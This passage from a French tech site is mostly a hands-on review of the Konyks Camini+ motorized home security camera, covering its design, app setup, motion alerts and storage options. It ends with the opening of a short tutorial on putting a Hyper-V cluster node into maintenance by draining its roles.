<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-package-02/'><img width="550" height="413" src="media/fae27ff3.konyks-camini-plus-package-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-package-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Lorsque l'on regarde la caméra de face, on aperçoit son optique, avec autour le micro ainsi que le dispositif de vision nocturne. A la base de la caméra, on retrouve la mention "Konyks". Sur l'avant, si l'on oriente vers le haut la tête rotative de la caméra, cela donne accès au slot microSD, une carte qui par ailleurs n'est pas fournie. La tête s'oriente de bas en haut, et inversement, afin d'assurer la rotation verticale de la caméra.</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-03/'><img width="550" height="413" src="media/e5959f4e.konyks-camini-plus-photo-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-04/'><img width="550" height="413" src="media/64b79be5.konyks-camini-plus-photo-04-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-04.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-05/'><img width="550" height="413" src="media/8d7a8c16.konyks-camini-plus-photo-05-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-05.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-06/'><img width="550" height="413" src="media/b865faaf.konyks-camini-plus-photo-06-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-06.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>A l'arrière, nous retrouvons le haut-parleur dans le haut de la caméra, et dans le tout bas, nous avons le connecteur micro-USB pour l'alimentation ainsi qu'un bouton pour réinitialiser l'appareil. Il ne s'agit pas d'un bouton pour allumer ou éteindre la caméra, je me suis fait avoir comme un bleu : je suis resté appuyé dessus et j'ai remis à zéro la caméra.</p>
<p>La rotation horizontale de la caméra s'effectue au niveau de la partie basse (toute la partie blanche en fait) et le socle gris reste fixe. La rotation étant jusque 355°, la caméra ne fera pas de tour complet sur elle-même, lorsqu'elle arrivée en butée, elle doit refaire le chemin inverse pour atteindre l'opposé.</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-verticale-01/'><img width="550" height="733" src="media/017eec03.konyks-camini-plus-photo-verticale-01-550x733.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01-550x733.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01-550x733.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01-113x150.jpg 113w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01-120x160.jpg 120w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01-38x50.jpg 38w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-01.jpg 600w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-photo-verticale-02/'><img width="550" height="733" src="media/27b271d0.konyks-camini-plus-photo-verticale-02-550x733.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02-550x733.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02-550x733.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02-113x150.jpg 113w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02-120x160.jpg 120w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02-38x50.jpg 38w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-photo-verticale-02.jpg 600w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p>Le design de la caméra est original, elle me fait légèrement penser à un modèle de chez Xiaomi, en plus fine. En blanc ça reste élégant et passe partout, la base qui est grise quant à elle ressort bien et est assortie à la mention Konyks. L'ensemble est homogène.</p>
<h2>III. Initialisation de la caméra</h2>
<p><strong>L'initialisation de cette caméra n'est pas plus compliquée que les autres appareils de chez Konyks : on branche, on attend que l'appareil démarre et ensuite on réalise une recherche depuis l'application Konyks.</strong> Tout cela est bien expliqué dans la notice, en français, ainsi que la procédure de réinitialisation si besoin.</p>
<p>Lorsque la caméra démarre, il y a une sonorité de quelques notes qui se déclenche au bout de 20 secondes environ, et ensuite elle émet deux bips pour signaler qu'elle est en mode association. Les deux bips vont continuer à retentir plusieurs fois par minute tout le temps que l'initialisation n'est pas réalisée.</p>
<p>Ce qui nous donne quelques étapes, assez rapide à effectuer. Comptez maximum 5 minutes pour l'initialisation 😉</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-init-01/'><img width="292" height="600" src="media/af3a2769.konyks-camini-plus-init-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-01.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-01.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-01-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-01-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-01-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-init-02/'><img width="292" height="600" src="media/6e3f16b0.konyks-camini-plus-init-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-02.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-02.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-02-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-02-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-02-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-init-03/'><img width="292" height="600" src="media/8a11015e.konyks-camini-plus-init-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-03.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-03.jpg 292w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-03-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-03-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-init-03-24x50.jpg 24w" sizes="(max-width: 292px) 100vw, 292px" /></a>

<p>Concernant le chargeur, il dispose des caractéristiques suivantes :</p>
<ul>
<li>Entrée : 100-240V - 50/60 Hz / 0.15A</li>
<li>Sortie : 5V - 1000 mA</li>
</ul>
<p>D'ailleurs, dommage que ce ne soit pas un port USB-C pour l'alimentation de la caméra.</p>
<h2>IV. Utilisation de la caméra au quotidien</h2>
<p>Toujours au sein de l'application, on peut accéder à la caméra Camini. Cet accès offre plusieurs possibilités :</p>
<ul>
<li><strong>Visualiser en direct l'image de la caméra</strong> : en HD, en SD, en plein écran ou en miniature, et l'on peut également activer l'audio pour entendre ce qui se passe chez soi. La qualité du signal Wi-Fi est également indiquée. On peut zoomer sur l'image d'un simple mouvement de doigt comme on le fait pour zoomer sur une photo sur son smartphone</li>
<li><strong>Piloter à distance la caméra</strong> grâce à la télécommande virtuelle intégrée à l'application</li>
<li>Réaliser une <strong>copie d'écran</strong>, un <strong>enregistrement à distance</strong>, ou <strong>parler</strong> au travers de la caméra</li>
<li>Accéder à l'<strong>historique des alarmes</strong> de la caméra</li>
</ul>
<p>Lorsque l'on ouvre l'application, la visualisation de la caméra en direct s'affiche dans le haut de l'écran, sur la partie basse on retrouve des boutons d'accès rapides aux fonctionnalités. Grâce au bouton en bas à droite de la vignette, l'affichage peut bascule en mode paysage et donc en plein écran. Lorsque l'on visualise le live, à noter un très léger décalage entre la réalité et l'image sur l'application, sans que ce soit gênant mais j'imagine que cela dépend aussi de la qualité de la connexion Internet (très juste chez moi).</p>
<p>Les mouvements de la caméra, initié par la fonctionnalité de suivi des mouvements ou la télécommande manuelle, sont silencieux. Cela me semble important de le signaler car l'activation du mécanisme de rotation aurait pu générer un bruit désagréable.</p>
<p><img class="aligncenter size-full wp-image-34329" src="media/8a4d9a17.konyks-camini-plus-app-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01.jpg" alt="" width="800" height="800" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01-550x550.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01-150x150.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01-768x768.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01-160x160.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-01-50x50.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Bien entendu, l'application sert également à configurer la caméra, et elle permet aussi d'avoir accès à une vue multiple pour afficher plusieurs caméras Konyks à l'écran et faciliter le pilotage sans devoir switcher complètement dans l'application. <strong>Il est à noter que l'application est entièrement en français et sans publicité.</strong></p>
<p>En appuyant sur l'icône en forme de crayon en haut à droite, on accède au panneau de configuration de la caméra. Les paramètres suivants sont proposés :</p>
<p><strong>1 - Gestion de l'audio</strong></p>
<p>Par défaut, la communication s'effectue de façon unidirectionnelle, c'est-à-dire que vous pouvez parler, et ensuite on peut vous parler au travers de la caméra. Autrement dit, les deux ne peuvent pas parler/s'entendre en même temps, mais l'audio bidirectionnel est activable dans les options. En fonction de la qualité de votre connexion à Internet, vous pouvez activer ou non cette option puisque cela nécessite une bande-passante plus importante.</p>
<p><strong>2 - Gestion des détections et des alarmes</strong></p>
<p>Par défaut, la caméra n'enverra pas d'alertes lorsqu'un mouvement est détecté. Cela s'active et se configure via l'option "Alarme de détection de mouvement", ce qui débloque l'accès à des sous-options :</p>
<ul>
<li>Gestion de la sensibilité (trois niveaux)</li>
<li>Suivi de mouvement afin d'exploiter la rotation automatique de la caméra</li>
<li>Plages horaires de détection</li>
</ul>
<p>La dernière option est très intéressante puisque cela permet de spécifier les plages horaires sur lesquelles la caméra activer le mode de détection. Sinon, lorsque vous serez à votre domicile, <strong>les alertes seront nombreuses d'autant plus qu'il n'y a pas de reconnaissance de visages. </strong>Le planning, si vous souhaitez l'ajuster au maximum, contiendra plusieurs actions pour activer ou désactiver la détection (exemple ci-dessous).</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-07/'><img width="389" height="800" src="media/36b8d962.konyks-camini-plus-app-07.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-07.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-07.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-07-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-07-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-07-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-06/'><img width="389" height="800" src="media/48c605e0.konyks-camini-plus-app-06.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-06.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-06.jpg 389w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-06-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-06-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/konyks-camini-plus-app-06-24x50.jpg 24w" sizes="(max-width: 389px) 100vw, 389px" /></a>

<p>Les enregistrements sont consultables directement depuis l'application, sous la vignette s'affiche une barre qui représente la chronologie. Les zones en gris représentent les moments où il y a des événements, il suffit de se positionner sur l'événement pour visualiser l'enregistrement vidéo correspondant. Il est possible de récupérer l'enregistrement sur votre smartphone en appuyant sur le bouton "Enregistrer". Pour visualiser les enregistrements d'une date antérieure, il suffit d'appuyer sur le bouton "Date" et de sélectionner le jour souhaité. C'est simple d'usage.</p>
<p><strong>3 - Gestion de la carte mémoire</strong></p>
<p>Si vous insérez une carte microSD dans la caméra, il faudra penser à la formater via l'application Konyks. C'est également à cet endroit qu'il faudra <strong>configurer l'enregistrement : à savoir l'enregistrement continu ou seulement sur événement.</strong> Si vous choisissez l'enregistrement continu, cela va fortement solliciter la carte mémoire et réduire sa durée de vie. Je n'ai pas trouvé cela très intuitif de retrouver cette partie de la configuration dans la gestion de la carte microSD en elle-même.</p>
<p>Enfin, à noter également une fonction pour inverser l'image, c'est-à-dire réaliser une rotation de 180° : pratique en fonction de comment elle est fixée.</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-02/'><img width="341" height="700" src="media/50794fa0.konyks-camini-plus-app-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-02.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-02.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-02-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-02-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-02-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-05/'><img width="341" height="700" src="media/3be35dd9.konyks-camini-plus-app-05.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-05.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-05.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-05-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-05-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-05-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-04/'><img width="341" height="700" src="media/50351cf8.konyks-camini-plus-app-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-04.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-04.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-04-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-04-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-04-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-app-03/'><img width="341" height="700" src="media/67db48cd.konyks-camini-plus-app-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-03.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-03.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-03-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-03-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-app-03-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>

<p><strong>Lorsque les notifications sont activées, elles vont arriver directement sur votre smartphone ou votre tablette.</strong> Si vous appuyez sur une notification, vous êtes automatiquement envoyé vers l'application Konyks où il y a une copie d'écran de la détection, avec la possibilité de rentrer dans les détails de l'alertes. De manière générale, retrouvez les alertes dans le centre de messagerie de l'application.</p>

<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-alerte-02/'><img width="341" height="700" src="media/3227e3eb.konyks-camini-plus-alerte-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-02.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-02.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-02-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-02-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-02-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-alerte-03/'><img width="341" height="700" src="media/783684ce.konyks-camini-plus-alerte-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-03.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-03.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-03-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-03-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-03-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>
<a href='https://www.it-connect.fr/test-konyks-camini-une-camera-full-hd-et-motorisee-a-moins-de-50-euros/konyks-camini-plus-alerte-01/'><img width="341" height="700" src="media/d9453872.konyks-camini-plus-alerte-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-01.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-01.jpg 341w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-01-73x150.jpg 73w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-01-78x160.jpg 78w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/konyks-camini-plus-alerte-01-24x50.jpg 24w" sizes="(max-width: 341px) 100vw, 341px" /></a>

<p><strong>Qui du stockage des enregistrements ?</strong></p>
<p><strong>Les enregistrements vidéos de la caméra peuvent être stockés en local directement sur la caméra, sur la microSD que vous pouvez insérer.</strong></p>
<p>Sinon, Konyks propose le stockage dans le Cloud des enregistrements au travers d'un service payant nommé "Video Cloud Storage". Ce service est proposé au tarif mensuel de 3,99 euros pour accéder aux enregistrements des 14 derniers jours. Pour accéder à un historique sur 1 mois, il faudra débourser 8,99 euros par mois. Si vous prenez directement un abonnement annuel, vous économisez l'équivalent de deux mois.</p>
<p>Malheureusement, il n'y a pas d'autres alternatives. Personnellement, j'aurais apprécié pouvoir envoyer les enregistrements sur un serveur FTP. Cela n'est pas proposé, soit c'est sur la carte microSD ou soit c'est sur le service Cloud.</p>
<p>Si vous n'insérez pas de carte mémoire ou que vous ne prenez pas l'abonnement Cloud, le seul moyen de réaliser un enregistrement c'est d'utiliser l'application Konyks et de déclencher un enregistrement depuis l'application. Cela va enregistrer la séquence sur votre smartphone directement.</p>
<h2>V. Conclusion</h2>
<p>Sur les finitions et l'aspect général de la caméra, il n'y a rien à redire, <strong>Konyks nous livre un produit de qualité.</strong> Au niveau de la conception, il y a seulement le bouton à l'arrière qui est intriguant car en fait il sert à réinitialiser la caméra et non l'allumer ou l'éteindre. J'en profite aussi pour vous rappeler qu'il n'y a <strong>pas de port USB-C mais l'éternel micro-USB</strong>.</p>
<p>Le capteur de la caméra est bon lui-aussi, <strong>l'image est bien nette grâce au capteur Full HD</strong>, ce qui permet d'envisager de zoomer légèrement quand cela est nécessaire. De nuit, la vision nocturne est bonne également, c'est une bonne nouvelle !</p>
<p>Pour l'utilisation quotidienne, je trouve que<strong> l'application de Konyks est vraiment simple et ergonomique.</strong> Il y a peu de temps à passer au début pour préparer la configuration, notamment la partie détection et les plages horaires sur lesquelles elle doit être active.<strong> Le gros point noir au niveau de l'application c'est qu'on ne puisse pas envoyer les enregistrements vers un NAS via FTP (ou autre), on est cantonné à l'utilisation de la microSD ou du service Cloud payant.</strong> Une fois que votre configuration est prête, il ne reste plus qu'à profiter de l'application pour regarder à distance ce qu'il se passe chez vous ou pour visualiser les événements enregistrés. Pour aller encore plus loin, si vous avez d'autres appareils Konyks comme un détecteur d'ouverture/fermeture, vous pouvez coupler l'utilisation des appareils avec les scénarios.</p>
<p>Alors qu'elle était vendue 59,99 euros à sa sortie, son prix est descendue à <strong>49,99 euros sur Amazon</strong> : une bonne nouvelle pour le porte-feuille. <strong>Une bonne nouvelle aussi car à ce prix la caméra Konyks Camini+ propose un rapport qualité/prix intéressant.</strong></p>


feed_id: https://www.it-connect.fr/?p=34173
title: Cluster Hyper-V : mettre un hôte en maintenance
uri: Cluster-Hyper-V-mettre-un-hôte-en-maintenance
url: https://www.it-connect.fr/cluster-hyper-v-mettre-un-hote-en-maintenance/
content:
<h2>I. Présentation</h2>
<p>L'intérêt d'avoir un cluster Hyper-V, sous réserve qu'il soit bien dimensionné, c'est que l'on peut se permettre <strong>une opération de maintenance sur un nœud sans arrêter la production.</strong> Dans ce tutoriel, je vais vous montrer comment mettre un hôte "<em>en mode maintenance</em>" pour pouvoir intervenir dessus sereinement. Il n'est pas question de faire les interventions à l'arrache 🙂</p>
<p><strong>Mettre un nœud en maintenance,</strong> cela signifie que toutes les VM qu'il héberge vont devoir être déplacées dynamiquement vers un autre nœud du cluster. <strong>Vous devez donc vous assurer que le nœud de destination ait suffisamment de ressources. </strong>Dans le cadre d'un cluster sous Windows, nous allons de<strong> drainage des rôles.</strong></p>
<h2>II. Procédure</h2>
<p>Sur un nœud de votre cluster, autre que celui qui va rentrer en maintenance, voire même sur un serveur d'administration... Ouvrez la console "<strong>Gestionnaire du cluster de basculement</strong>". Ensuite, accédez à "<strong>Nœuds</strong>" sur la gauche.</p>
<p><img class="aligncenter size-full wp-image-34174" src="media/7f6d14b6.cluster-hyperv-maintenance-drainer-les-roles-01.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01.png" alt="" width="725" height="278" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01.png 725w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01-550x211.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01-150x58.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01-160x61.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/02/cluster-hyperv-maintenance-drainer-les-roles-01-50x19.png 50w" sizes="(max-width: 725px) 100vw, 725px" /></p>
